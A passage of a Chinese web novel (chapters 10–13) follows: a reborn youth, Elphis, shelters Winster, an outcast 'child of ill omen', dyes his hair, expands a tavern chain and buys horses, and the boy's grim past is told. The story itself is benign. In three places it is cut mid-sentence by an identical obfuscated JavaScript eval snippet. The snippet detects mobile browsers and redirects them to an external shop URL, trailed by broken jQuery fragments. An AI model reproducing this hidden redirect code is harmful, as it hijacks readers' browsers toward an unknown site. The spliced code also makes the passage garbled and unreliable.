温斯特犹豫地上前,接过了篮子,然后又退了几步远坐在被子上,埋头把东西拿出来,几不可闻地说了声“谢谢”。 艾尔菲斯眉眼一弯,坐在昨晚歇息的石头上看他,“喜欢喝牛奶吗?” 其实小朋友的答案并不重要,他便没等人回答,“不喜欢也要喝,多喝牛奶才能快些长大。” 最近每天早餐都是牛奶和面点,再加一个蛋,以后偶尔会给小孩儿换换口味,但主要还是吃这些。 考虑到小家伙可能会腻,艾尔菲斯便说了两句想教他不要挑食。 温斯特咽下一口包子,定定地看着他,而后仍有几分沙哑的嗓子出声:“你需要我帮你做什么?” 温斯特听了对方的话,脑子里只有一个想法:为什么要他快些长大?长大了才更有用处吗? 这个人长得一副干净模样,或许是不想脏了自己的手,需要别人帮他处理一些阴私。 这个时候,小孩儿脑中全是艾尔菲斯挟恩图报,要他帮忙杀人放火劫财之类的坏事。 艾尔菲斯可不知道小孩儿脑子里在想什么乱七八糟的,只以为他是想报恩,轻笑一声:“小孩子只需要吃饭和开心,能乖乖读书识字就更好了,不需要你做其它的。等你长大后有自保能力了,愿意留在这里生活就留下,想离开也可以。” 温斯特又不说话了,沉默地吃着东西,他宁愿这个人有所求。 “你多少岁了?” 温斯特想了一下,不太确定地回了句八岁。 他七岁离开的村子,应该是有一年了。 艾尔菲斯又问他是从哪里来的,温斯特说了个他没听过的地名,也不知道离这儿有多远。 “你是怎么来到利塞镇的?”附近没什么村落,最近的人口聚集处就是拉斐城了,这孩子总不会是从城那边走了几天碰巧到这里的?不能啊,这不会被冷死就会被饿死。 “躲人的时候藏在一辆马车里,被带到这里了。” 艾尔菲斯抽了抽嘴角,原来还是他和威尔大叔把人带过来的。 每次他们把货卸干净了就不会再注意板车了,没想到在格雷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711034|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒馆里呆小半日,就有个小孩儿钻进去了。 艾尔菲斯觉得他们以后还是检查一下板车比较好,万一有个贪财的躲在里面,等马车驾驶到无人之处直接从背后出现抹了他们脖子,岂不死的很冤。 艾尔菲斯又跟他聊了几句,反正温斯特最大的秘密已经被看到了,其它的也没什么不能说的。 艾尔菲斯倒是很有分寸,就是随便问问小孩儿到了利塞镇后是怎么过的,倒也没有问什么以前的生活怎么样,父母对他好吗这种话,万一踩雷了岂不是要让人难受死。 温斯特很快就吃完了早餐,再正脸对着艾尔菲斯的时候,露出了嘴边喝奶留下的白胡子,早熟的小帅哥突然就不酷了,逗得艾尔菲斯闷笑出声。 温斯特疑惑看他,难得有一分呆萌,艾尔菲斯从怀里拿出一条干净布料递给他,“擦擦嘴。” 他马上就回去了,今早去买早餐的时候碰到威尔大叔说准备在拉斐城开店的事情,想拉他商讨一下。 艾尔菲斯不是那种同情心特别泛滥,会把所有时间花在照顾小可怜身上的人,所以等人吃完,他就收起餐具准备投入赚钱大计中了。 正想顺口教育一下小孩儿不要乱跑,又想到了这里不是要小心看顾孩子的现代社会,而且在洞里干坐着岂不是会无聊死,他便改口:“泥路不好走,出去的时候小心滑倒,哥哥早上有事要忙,下午带你去镇上玩。” 听到这么暖心的叮嘱,感动是没有的,小孩儿抿着嘴,狐疑地看着艾尔菲斯,现在他确定这个人根本就不知道他的发色瞳色代表什么,否则怎么会说出带他去玩的话。 艾尔菲斯也没有多说,准备下午给孩子一个惊喜。 用大半个上午和威尔大叔商量了店面选址、货物进价和定价以及利润分配,还商量了一下多买几匹马建立商队保护财产和生命安全的事,之后艾尔菲斯就回家了。 他等会儿还挺忙的,除了做午饭,还要准备给小孩儿的惊喜。 等到中午,温斯特再见到艾尔菲斯的时候,瞪大了眼睛在对方柔顺黑亮的头发和熟悉的脸上来回看,迷茫的时候倒是符合他这个年龄该有的模样。 这次,艾尔菲斯双手端了一盆深色的热水,手臂挂着装食物的篮子,还不能走太急让水给荡出来。 他一路走来气喘吁吁,到了洞穴就匆忙地放下东西,重死了! “快吃饭,吃完了哥哥给你的头发换个颜色。” 艾尔菲斯懒得花时间说服小孩儿相信他,反正他也差不多该洗头了,驾轻就熟地给自己染了色,用事实证明他可以做到换发色的事情。 幸好四色花一年四季都能开,长得有点像满天星,一丛丛地开一堆还挺好看,所以艾尔菲斯早就在小教堂周围种了一圈,每次进城之前采花熬水洗头染发也方便。 在帮小孩儿染成淡黄色和琥珀色之间没犹豫多久,艾尔菲斯就熬好了一盆琥珀色的水,他觉得这孩子适合暗色调。 如果视线有杀伤力,那艾尔菲斯的脸大概已经被盯穿了。 既然这个人想帮他改变头发颜色,那就是说他知道黑发黑瞳代表着什么,他真的不害怕吗? 温斯特第一次主动走近艾尔菲斯这边,只为了碰一碰木盆里的热水——只要洗一洗,他就不需要东躲西藏了吗?就这么简单? 艾尔菲斯催着他吃饭,等孩子吃完,就想帮他洗头。 温斯特取下了习惯性扣在脑袋上的兜帽,艾尔菲斯这才第一次看清小孩儿的头发——之前他也只是看到鬓角,仅仅知道头发是黑色,却没看到那糟糕的发型。 小少年的表情一言难尽,忍不住吐槽道:“再讨厌自己的头发,也不能把它剪的跟狗啃了一样啊。” 这么好看的脸都撑不起来这丑发型! 温斯特:“……” 不知为何,突然脚趾扣地——想跑路了。 11. 第 11 章 小孩儿知道头发太长容易从帽子里漏出来,就自己动手剪了短发,又长了一段时间,到现在,已经遮住了耳朵和后颈。 头发倒是挺多,就是一撮长一撮短的,可以想象到刚剪的时候是个什么凹凸不平的发型——肯定没看着镜子剪! 艾尔菲斯看着他头顶炸起的短毛,还有不少翘起和打卷的中长发,让他想起了狮子王。 配上小孩儿绷起的酷脸,反差感太强,他实在忍不住笑出了声。 从温斯特在外流浪也要保持干净的习惯就能看出这是个挺在乎形象的小孩儿,他可以忍受疼痛,可以被所有人嫌弃驱逐,却不愿意一身脏污活的卑微狼狈,好像这样才是真的失去了性命。 此刻被艾尔菲斯嘲笑头发,温斯特第一次觉得羞恼,小脸泛红,却不想瞪这个帮了自己很多的人,只能低头看地。 比温斯特高了不止一个脑袋的小少年眉眼弯弯,说话仍含几分笑意:“过来吧,我帮你洗一下。” 可惜艾尔菲斯模样再温柔无害,对上小孩儿的被害妄想症也是没用的。 温斯特自小就不亲近人,很反感别人碰他,后来更是有人靠近就会升起防备心。 如果是别人说要帮他洗头,他只会怀疑那人是想将他摁在木盆里淹死。 他知道艾尔菲斯不会伤害他,心理上却很不适应这种有些亲密的行为。 小孩儿小声拒绝了艾尔菲斯:“谢谢,我自己洗就好了。” 艾尔菲斯也不勉强,就坐在一旁等着。 等孩子洗完,才倒出一个水囊里面四色花叶熬的水,浸湿了布,给温斯特擦去了皮肤上被沾染的颜色。 温斯特扯下几根自己的头发,看见真的变色了,不由征住了。 “擦一下水。” 温斯特接过了递到眼前的干布,木然地擦拭着湿润的头发。 他以为能遮住发色自己会很高兴,当这件事真的发生时,更多的确是迷茫。 温斯特以前的想法只有尽量避开人、活下去而已,如今不会被追捕了,他又该去哪里,做什么? 艾尔菲斯略带羡慕地看着小孩儿的短发,他很想剪一头利落的短发,洗头会方便很多。 这个世界又没有吹风机,每次把头发擦干别提多烦了,尤其是冬天,又冷,干的又慢。 虽然这里主流的发型就是长发,但短发的也有,艾尔菲斯可以剪,只不过他认为长发更适合这张脸,能多几分温柔气质,更容易让人卸下心防罢了。 他自认为,作为一个外来人,能顺利融入这片土地,除了他能装乖之外,外貌也是重要原因,人看到美丽的事物总是能高兴一些的。 而且这些年镇上在经济开发,艾尔菲斯免不了要提点别人做事,虽然他态度一直很好,看似有商有量,但实质就是在下命令。 若是顶着一头利落的短发,怕是要多几分攻击性,尤其是不笑的时候。 简而言之,为了更好地发展人际关系、创造长远利益,艾尔菲斯选择忍耐这头漂亮但是麻烦的长发。 温斯特已经把自己的头发擦成一窝杂草了,艾尔菲斯看不下去,又递过去一把梳子,等小孩儿梳顺了,才满意点头,“这个发色还挺适合你,就是头发需要修剪一下。” 小孩儿刚才洗得久,生怕染不上似的,然后就染成了稍微有点深的琥珀色,即便这样,温斯特看上去也没有之前那么阴沉了。 温斯特看着他,之前说了几句话后,声音已经没那么沙哑了:“这个魔法药水,多少钱?”暂时就把还钱当目标吧。 什么魔法药水? 艾尔菲斯眨了一下眼,看着小孩儿像是背上一座债山的严肃表情。 他这次说话不像之前那样含糊,嘴皮子都懒得分开的样子,而是头一次这么字正腔圆,露出了那颗被烤面包磕掉牙后只长了一点新牙出来的缺口,艾尔菲斯又被这反差萌逗笑了。 “什么魔法药水,就是不值钱的野花罢了,隔一段时间会褪色的,所以你以后每次洗头都得用这种花熬水。” 温斯特心里松了一口气,他并没有见过跟魔法相关的东西,但是他见这水很是神奇,立马想起了听路人提过的昂贵魔药,还以为要还很久的债而无法彻底自由。 “那食物呢?你可以记账,我以后会还钱的。” 艾尔菲斯倒是越来越欣赏这小家伙了,有骨气有担当。 “我才懒得记,多养个人我还是养得起的,你不乱闯祸的话,我可以养你到十八岁。” 成年后,爱去哪儿就去哪儿,他的怜悯和关怀一般只放在小孩子的身上。 不过……艾尔菲斯笑意忽然淡了些,如果这小家伙被他发现了什么改正不了,他又很反感的恶习,他可能会提前收回发出去的好心。 温斯特闻言,纤长的睫毛颤了颤,垂眸含糊说着:“帮助厄运之子,神明是不会庇佑你的……灾难迟早会降临到你身上……” 艾尔菲斯蹙眉,屈指敲在小孩儿脑门上,严肃道:“作为封建迷信的受害者,你应该抵触这种虚假传言才对,怎么还帮着一帮骗子传播错误思想呢。” 温斯特摸着脑门,想到他离开村子的那一晚发生的事情,离艾尔菲斯远了一些,表情语气突然多了几分色厉内茬的凶狠:“这不是虚假的传言,跟我关系近了,你会死的……你不要对我太好。” 艾尔菲斯跟卡文牧师生活这么久,实在腻了说服人不要搞封建迷信的话,而且他能听出小孩儿定然是见证过死亡才会如此确信,便不再多说。 事实胜于雄辩,等他活蹦乱跳地发几年财,小孩儿就会信他说的话了吧。 这么一想,艾尔菲斯便敷衍地点头:“好好好,你是厄运之子,是世界的敌人,那我奴役你可以吗?我要回去了,你帮我把我刚才带来的东西带回去,快跟上。” 温斯特懵了一下,见人已经出了洞穴了,犹豫了一会儿,才提起篮子,拿着木盆跟了上去。 艾尔菲斯觉得每天来森林里送三顿饭挺麻烦的,干脆把小孩儿收留了算了,以卡文爷爷的良善本性,想来也是没意见的。 而且这小孩儿懂事早熟,不需要爷爷事事操心,另外,凭他这些年赚的钱,负担起温斯特的衣食完全不成问题。 小少年不急不缓地走着,顺便给温斯特讲讲未来的住处。 “虽然看不出来,但我住的地方其实是一个小教堂,就是牧师传教的地方,你知道光明教廷就是传出双黑是厄运之子的源头吗?” 温斯特脚步一顿,若不是艾尔菲斯帮他掩饰了发色,他会认为对方是想把他骗进教堂好净化掉。 艾尔菲斯回头看了他一眼,示意继续走,而后语气轻柔地安抚着小孩儿:“放心吧,里面只住了我和一位年迈的牧师。” 就算年迈,也不一定没有威胁,温斯特问道:“那位牧师会魔法吗?” 艾尔菲斯嘴角一抽,“你见过魔法?” “没有。”他只听过教廷有强大的光系魔法师,是为消灭他这一类黑暗生物而生。 “眼见为实,耳听为虚,知道吗?” 温斯特看出了艾尔菲斯似乎完全没有将黑暗之子和魔法师的传闻放在心上,但他是知道自己确实不太正常的,便没有应对方的话。 “牧师爷爷很信神明拯救人族的故事,也很听信教廷的教导,所以你不能让他发现你发色的问题。” “除此之外,他就是一个普通的善良老人了。” 说到这,艾尔菲斯笑了一下,“我刚出生不久就被丢掉了,还是牧师爷爷收养了我,手忙脚乱的照顾一个婴儿,抚养我长大的,平时他还会免费教镇上的孩子读书识字,所以你看,他是好人对不对。” 艾尔菲斯这么说也是想让小孩儿放下戒心,相信教堂是一个安全的住所,温斯特关注的重点却是——怎么会有父母丢掉像他这样的人? 温斯特蹙眉,抬眼看着前方的背影。 天性冷然加上从未感受到关怀,他自己被父亲嫌弃的时候其实内心几乎毫无波澜,但是对于艾尔菲斯被丢弃的事情,他竟生出了几分无法理解——丢弃从容貌到性格都如此无可挑剔的孩子,那对父母实在是有些不识好歹。 艾尔菲斯带着几乎沉默了一路的小孩儿到了小教堂,正要带他进去,温斯特放下东西,转身又跑进了森林。 诶?路上不是已经说了以后跟他一起住吗? 这小子,有屋子不住,就喜欢在森林里当野人是吧? 最终艾尔菲斯还是考虑到小孩儿心病难愈,不能强求,便放他跑了,想着再给他一点时间适应了和别人相处再说。 然后当天艾尔菲斯去送晚餐的时候,并没有在洞穴里看到人——怎么攻略进度还倒退了呢? 艾尔菲斯放下东西就离开了,并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711035|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备留下等人:他又不欠那小孩儿什么,也不必尽心尽力,继续投喂也对得起自己的良心了。 他不知道,在回去的路上一直有个小尾巴跟在后面,跟踪的段位还挺高,悄无声息的。 温斯特看着艾尔菲斯安全地回到了小教堂,才回了洞穴吃着快凉掉的饭。 后面的很长一段时间,小孩儿都很少露面,却一直在暗中护送艾尔菲斯回去,因为他很担心这个人因为跟他有所接触,厄运会降临到艾尔菲斯身上。 如果有其它选择,温斯特甚至不想艾尔菲斯继续给他送饭了,但是冬天很难找到食物,所以他还是承了这份情。 小孩儿暗自下了决定,等他长大后就要想办法赚钱,然后给那个人很多很多钱作为报答! 除此之外,他们不应该有多余接触了,万一他害对方倒霉身亡,或者他失控了把人杀了可怎么办,就像那对想捉他去领悬赏金的父子那样…… 没见到人的两天后,艾尔菲斯想到小孩儿身上总是干干净净的,料想他是经常去溪边清理自己的,这么冷的天用凉水净身还没生病也是奇迹。 对小孩儿格外心软的艾尔菲斯还是一边嫌麻烦,一边准备了热水。 在换了发色的四天后,艾尔菲斯又在非饭点时间去了洞穴,果然堵到了人。 温斯特头一回感到手足无措,不知道该说些什么。 艾尔菲斯却没有提小孩儿这几日的回避,“新长出来了一点黑色头发,过来洗一下。” 等温斯特洗完头,艾尔菲斯倒了那盆水,将水囊里的热水倒进盆里,“擦一下身体。” 温斯特悄悄看了几眼不见温柔笑容的少年,一字不吭地照做。 艾尔菲斯坐在洞口的石头上,支着脑袋走神,真是个麻烦的小鬼——算了,至少不是很熊很没教养的那一类,将就养着呗。 等温斯特穿好艾尔菲斯之前送来的冬衣,也不敢靠过去,只讷讷地说了声“谢谢”。 艾尔菲斯看了一眼那糟心的发型,早有准备似的拿出一把剪刀,“过来,修一下头发。” 温斯特看见对着自己的利器,不由绷紧了身体,“我不剪。” 艾尔菲斯见他后退一步,看了眼自己手里的剪子,心中叹息一声,这是防备心有多重? 他也不勉强,从腰间取下一把藏的挺好的匕首放在地上,“你总是呆在森林里,指不定会遇到野兽,这个给你防身用,不许用来伤人,也不许做坏事。”艾尔菲斯顿了顿,继而揶揄道:“比如拦路抢劫什么的。” 温斯特身体一僵,想起了他们的第一次见面,头埋得更低了。 独自一个人呆在森林里有多无聊是艾尔菲斯无法想象的,所以有意给小孩儿找点事做,“我回去了,你帮我把东西送到家门口可以吗?” 温斯特不但送回去了,还是在溪边洗干净后才送的,以后的每一顿饭后都是这样。 艾尔菲斯从门口拿回东西的时候不禁摇摇头,比起这小孩儿,自己这个成年人还挺娇气,冬天里都是烧了热水洗的。 第二天,艾尔菲斯给他带去了自己小时候用过的弓箭,教了好一会儿才离开,想着温斯特无聊了就练习射箭,练习时间足够,说不定以后能成为一个神箭手。 温斯特确实每天都在很认真地练箭,除了没事做之外,更多的原因是天生就对掌握力量这件事很有兴趣,而且他越快强大起来,就能越早自力更生。 很快又到了艾尔菲斯要进城办事的时候了。 当天送早餐的时候,艾尔菲斯告诉温斯特:“我今天要外出,傍晚才回来,之前我有给过你五十枚铜币,中午你可以去小镇买点吃的。” 小孩儿看着艾尔菲斯匆匆离去的背影默不作声,他从来没有如此讨厌过自己的身份——如果他不是什么厄运之子,就可以离艾尔哥哥近一点了,可以跟着哥哥住在一起,一同外出、一同回来…… 是的,即便温斯特从未开口叫过,心里却已经开始管艾尔菲斯叫做哥哥了。 可是,如果他不是厄运之子,就不会出现在这里遇见哥哥了…… 一时之间,温斯特竟不知道这个“如果”是好还是不好。 —— 艾尔菲斯已经进城很多次了,但他难得像今天这么充满期待。 虽然今天的计划需要花一大笔钱,让他有点心疼,不过没关系,他花钱买开心! 12. 第 12 章 艾尔菲斯今天要和威尔大叔一起进城买马匹,他在一年前就学会了骑马,早就想每次外出的时候独骑一匹了。 威尔大叔家的马拉着板车,不能跑太快,而且他坐在前面总是要听一路的嘎吱嘎吱声音,是真的有点烦,不过他就要和烦恼说拜拜了! 上辈子哪能想到他能买上几匹马,虽然没有轿车舒适,但不被交通规则束缚,在无人道路和辽阔草地上自由奔腾的感觉令艾尔菲斯很是上瘾。 威尔还是第一次看到小艾尔兴奋的样子,认识这么多年后,才第一次有了感叹:果然还是个孩子啊。 到酒馆卸货后,正是饭点,两人自然是要等吃了午餐后再去挑选马匹。 威尔喜欢大堂里的热闹气氛,便就在那里跟人喝酒吹牛,艾尔菲斯喜欢清静,就去了后院。 这么久过去了,除了莫恩莫娜兄妹,酒馆又招了四人,都是格雷和莫恩了解到的贫穷又老实的人。 一位手脚麻利的大婶负责端菜收拾桌子,她的哑巴女儿在厨房烧几个灶台的火,两位憨厚大叔已经被莫恩训练成了主厨,正是因为有人顶着,莫恩才能在人最多的时候抽出点时间来见艾尔菲斯。 “艾尔少爷,这是您的肉丝刀切面。” “辛苦莫恩了。” 当初艾尔菲斯给莫娜的那支药水,兄妹俩早就把钱还给他了,没有债务关系也没签卖身契,他们仍认艾尔菲斯为主,让被迫收了两个下属的人很是无奈。 艾尔菲斯不知道,他在兄妹俩心中的形象有多完美,从外貌到品行再到智慧,简直是毫无瑕疵。 跟着这样的人,他们就有了主心骨,不管以后遇到什么样的事都不会怕了! “少爷,城西那边的西顿老爷已经同意了您说的加盟和改酒馆的名字,五十金的入盟费已经交过来了。” 艾尔菲斯接过钱袋,心中叹了一口气,好想念手机支付啊,纸币也行啊,这里真金白银的可真不方便拿。 曾经的他也是万万想不到有一天会嫌弃金子又多又重,真是飘了…… 这边酒馆的生意火爆,自然就分走了其它酒馆的人流量,后来上门求买菜谱和来发牢骚的老板越来越多,艾尔菲斯就提出了加盟这个主意。 “辛苦莫恩在那边呆一段时间,把我们的菜谱教给西顿老板,让莫娜过去记账吧。” 莫恩很有斗志,“能为您效劳,成就一番大业,是我和莫娜的荣幸!” “……”艾尔菲斯尴尬地往嘴里塞了一口面,赚点小钱而已,什么大业啊,这小子到底在幻想些什么? 莫恩突然面色一肃:“少爷,我们和西顿老板签下的契约真的有约束力吗?如果他学完了我们的菜品,过河拆桥停止向我们交月费了怎么办?” 艾尔菲斯心里想,又不是法律社会,能有什么约束力。 “西顿老板为人老实善良,经常同意赊账,也是个好欺负的性子,想来是不会,也不敢做过河拆桥这种事的。至于赊账这种事,你们过去就禁了吧。” “拉斐城最多再同意两家加盟,分散在城的四个方向开店。如果有人违约,就先断了利塞小镇的香料,再请城主府决断此事。” 可惜他是个好人,不做打打杀杀的事,不然在这个律法管不了权贵和资本家的世界,杀鸡儆猴也是个很好的办法。 莫恩他们这几年跟城主府的关系维持的还不错,加上他们每年上交的越来越多的税,以及酒馆和利塞镇特产吸引来了越来越多的旅人和货商,需要一点小帮助的时候,相信城主府还是愿意站在他们这边的。 莫恩点点头,又道:“前几天有来自圣卡斯托城的旅人路过,提到如果我们把店开到王城,一定会生意爆火,少爷,您对这件事有什么想法吗?” 艾尔菲斯总觉得这小子跃跃欲试的样子不像是在说开分店,而是去攻城。 他轻笑一声,“王城吗?还早着呢,不急。拉斐城的生意稳定之后,莫恩去近一点的大城市,亚特城开个食宿一体的店吧。” 刚开始接触格雷大叔的时候,艾尔菲斯还想着只是找个老实人合作一下,靠吃红利赚点钱,然后当条低调的咸鱼,免得哪天不小心招惹上得罪不起的权贵或者引起那个把他扔河里的女人的注意。 不是他太胆小,这张脸还真挺引人注目的。 谁知道这小酒馆生意做着做着,就往连锁店的方向发展了呢…… 艾尔菲斯吃着面,思考了两秒事情怎么会发展成这样——都是因为闲啊,又没有学可以上,闲的他只能搞事业和养孩子了! 他现在年龄还小,不适合露面做事,莫恩今年十六,再等两三年,找几个熟悉的大人陪着一路,还是可以放出去闯荡一番事业的。 至于他自己,就做一群成功富商背后的男人好了。 今日艾尔菲斯没有在酒馆久留,吃了饭后就和威尔大叔一起去城边的一处马场了。 他们挑选、试骑,终于选定五匹三到六岁,脾气又比较温顺的马。 他们之后要教镇上的几个年轻人骑马,脾气太烈的马恐怕没有耐心让一个个的陌生人驯服自己。 “艾尔,八十金不能都让你出,我和你平摊。” 威尔知道艾尔菲斯这几年赚了不少钱,但也是真的没想到小孩儿居然面不改色地递出装着八十金的钱袋付了买马的钱。 马匹贵是贵,但他和艾尔两个人都能靠它们再获利,怎么能让一个小孩儿出了所有钱。 艾尔菲斯装作不好意思地挠挠头,“威尔大叔,我实在没那个耐心养马,干脆我就付个钱了事,照顾它们这种麻烦事以后就交给你了可好?” 威尔看艾尔菲斯付那么多钱真的没有一丝勉强的样子,才犹豫着点头了,毕竟他长期雇镇民喂马洗马、打扫马厩,也都是要花钱的。 这么一来,威尔越发觉得跟艾尔菲斯合作很舒服了,谁不喜欢脾气好,能带你赚钱,还为人大方的合作者呢? 回去的路上,艾尔菲斯独自骑着领头马,身后跟着另外四匹,将马车远远甩在身后。 寒风呼啸,小少年正上头呢,也不觉得冷,只觉得格外痛快! 策马奔腾,艾尔菲斯比以往要早很多的回到了小镇。 骑着马悠哉走在小道上的俊美少年很快就引来了路人的注意,小孩子们更是跃跃欲试。 艾尔菲斯耐心地抱着小孩子坐在他前面,一个换一个地带着他们玩了一会儿,承诺了几个适龄的大孩子明天开始教他们骑马,这才让大家满足地散开了。 将马匹驱到威尔大叔家的马厩中,脑子冷静下来才想起被他甩在后面的人……咳,大叔以前都是独自出行的,他应该习惯了。 给跑了一路的马儿们喂了草料,艾尔菲斯也回去歇着了,还不适应骑这么久,让他屁股和腿都有些疼,坚持一路全靠新鲜感撑着。 等晚一点他去给小孩儿送饭的时候,恰好又堵到了人。 温斯特没想到今天哥哥会提早过来,还没来得及躲,只能后退几步离他远了一些。 艾尔菲斯看着他的动作,非常怀疑这孩子以前是不是被很多人打过,否则何至于见人就躲,甚至于他投喂了这么久都没有取得信任。 “今天中午有去镇上买食物吗?” 温斯特摇摇头,他不想多花哥哥的钱,也不想将厄运带进小镇害谁倒霉,这里的人都是哥哥认识的人…… “我烤了鱼吃。” 鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711036|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是溪里抓的,生火石是艾尔菲斯之前给他的。 艾尔菲斯不知原委,还以为小孩儿有点怕生和自闭。 陪温斯特聊了一会儿,艾尔菲斯就回去了。 卡文爷爷最近总说他忙这忙那,总是忘记感谢光明神的庇佑,说不定还把教廷信条给忘了,所以老人家又开始考各种问题了,艾尔菲斯还得回去看那些几年不见的讨厌的书,没多少时间跟小孩儿谈心。 第二天,威尔大叔教几个壮年人骑马,艾尔菲斯实践承诺教大孩子们骑马。 倒不是说他多喜欢带小孩儿,主要是看在这些小年轻跟卡文爷爷学了字,听了些外界的事情,思想就要开阔些,等教会他们骑马,以后才好放出去做生意。 加上这些小孩儿从小就很听信艾尔菲斯的话,所以他根本不是在简单的陪孩子玩,主要是在养成优秀打工仔罢了。 小镇入口到进城的那条路宽敞一点,众人选择了那边进行教学。 他不知道,在今早送过早餐之后,温斯特照旧暗中护送他返回,等待在教堂门口的一群小孩儿看见艾尔菲斯便蜂拥而上,兴奋地拉着他去威尔老爷家的马厩。 温斯特看着那无法触碰的热闹越走越远,他在树荫下静默片刻,也不知道抱着什么样的心思悄悄跟了过去。 离得远,他听不见对话,但是良好的视力能清楚地看见艾尔哥哥对别人毫不吝啬地露出温柔的笑容。 他把人扶上马,自己在下面牵着马带着别人慢慢前行,甚至上马坐在别人身后,悉心护着前面的孩子,让他们适应马儿跑起来是什么感觉…… 温斯特沉着脸,心中酸胀难受——那是源自于无法得到而产生的渴望和嫉妒。 有一瞬间,他甚至有了将那些陌生人拉扯下马的冲动,然后代替他们占据哥哥所有注意力。 这些麻烦鬼就不能缠着旁边的一群大人吗?为什么一定要等着哥哥教? 他们有很多选择的,可是他没有,温斯特只有这么一个艾尔哥哥! 生出这种想法的瞬间,温斯特心神一震:他果然是一个邪恶的孩子,贪婪易妒…… 艾尔菲斯教学了一上午,被一群叽叽喳喳的小孩儿闹的耐心告罄,不过他也没有表现出来就是了。 被精力旺盛的小孩儿们包围的时候,艾尔菲斯才体会到温斯特的沉默寡言是多么难能可贵,所以他到了中午又提早送饭去了,还是骑马去的。 因为被排除在了哥哥的正常世界外正感到有点委屈的温斯特当然听见了由远及近的马蹄声,这次却没有藏起来,因为他今天真的很想听哥哥跟他说说话。 艾尔菲斯把马儿栓在洞外的树上,他习惯性地坐在洞里的某块石头上,有一搭没一搭地聊着天。 问小孩儿有没有新的牙齿松动,要换牙了记得告诉他,他好准备些软一点的食物。问他今天中午的面包夹肉排好吃吗,问他练箭练的怎么样…… 森林里很安静,跟一个不会争抢,也不会化身成十万个为什么的小孩子呆在一起的感觉还不错,看着小孩儿已经被喂的有些圆润的小脸,艾尔菲斯颇有些成就感。 等温斯特吃完东西,艾尔菲斯收拾好篮子,上了马准备回去了。 临走前,小少年看了眼站在洞口仰头望着他的孩子,漂亮的黑沉眼眸中似乎包含了许多未竟之语。 不知道是不是错觉,艾尔菲斯竟感觉到小孩儿正在委屈,需要人哄哄。 温斯特仰着头,看着在缕缕阳光下显得格外白皙漂亮的哥哥向他伸手,温柔笑着提出邀请:“想要骑马玩一下吗?我带着你一起。” 从来没有得到什么所以非常好满足的小孩儿愣在原地,沉重的心情一下子就舒展开了。 13. 第 13 章 温斯特跟随本心上前一步,却又及时止住了步伐——不可以放任自己靠哥哥太近! 艾尔菲斯见小孩儿摇头拒绝,而后不敢看他似的又低下了脑袋,不由失望地叹口气。 话说回来,他还是第一次在亲和力这方面体会到挫败感。 温斯特看着哥哥骑马远去的潇洒背影,眼里分明是很好看的画面,脑中却控制不住地想起那两具死不瞑目的尸体,提醒着他自己有多危险。 他出生的村子比利塞小镇更偏远封闭,没有这么多好吃的食物,没有马匹便于出远门,也没有牧师来这种地方告诉大家双黑的外貌代表什么。 但村民们在不知道厄运之子的传言的时候,就已经不喜欢他了。 母亲因为生他的时候难产而亡本来不该责备幼儿,但那日红月悬天,林鸟惊飞,乌鸦嚎叫,野兽嘶吼的异像颇为吓人,在这种情况下,村民们想到有灾难降临也情有可原。 最初没人联想到温斯特身上,直到看到婴儿异常可爱,与相貌普通的父母没有丝毫相似之处的外貌,还有那双父母都没有的黑色眼睛,也不知道是怎么来的…… 村里有老人猜测这是恶魔附身,大家实在不忍心对一个婴儿做什么,便将信将疑的放任不管。 温斯特的父亲也不喜欢他,除了妻子身亡和恶魔附身的传言,也在怀疑这到底是不是他的种? 抱着等孩子长大后给他养老的念头,男人没有将温斯特丢掉,由小孩儿的奶奶照顾他,而爷爷早在他出生前就去世了。 没有母乳,也没有其它多有营养的食物,更倒霉的是,老人家记性不好,经常认知模糊,在村里四处晃悠,温斯特竟然活了下来,也是相当命硬了。 他从记事起就知道自己是个万人嫌,但从不觉得自己跟恶魔有什么关系。 五岁那年同村的小孩儿叫他爬树给他们掏鸟蛋,温斯特不喜欢他们恶劣的态度,直接离开了。 那天有个男孩儿脚滑从树上摔下来,正好脑袋磕到了石头,一命呜呼,就因为他在场过,村里人都责备是他带来了厄运。 为了躲避男孩儿父母打骂,温斯特慢慢学会了隐藏自己,避开人的视线活动。 六岁时,奶奶因为走路不稳,从斜坡上摔下去去世了。 七岁那年,父亲因为被蛇咬了,中毒身亡,村民纷纷责骂他是没心没肺的魔鬼,克死亲属,连一滴眼泪都不流。 温斯特察觉到了自己确实有些不对劲,对很多事情没有该有的情绪,比如伤心,可是他为什么要为一个连他名字都记不住的老人,和一个没有管过他,却三番五次差点打死他的父亲伤心? 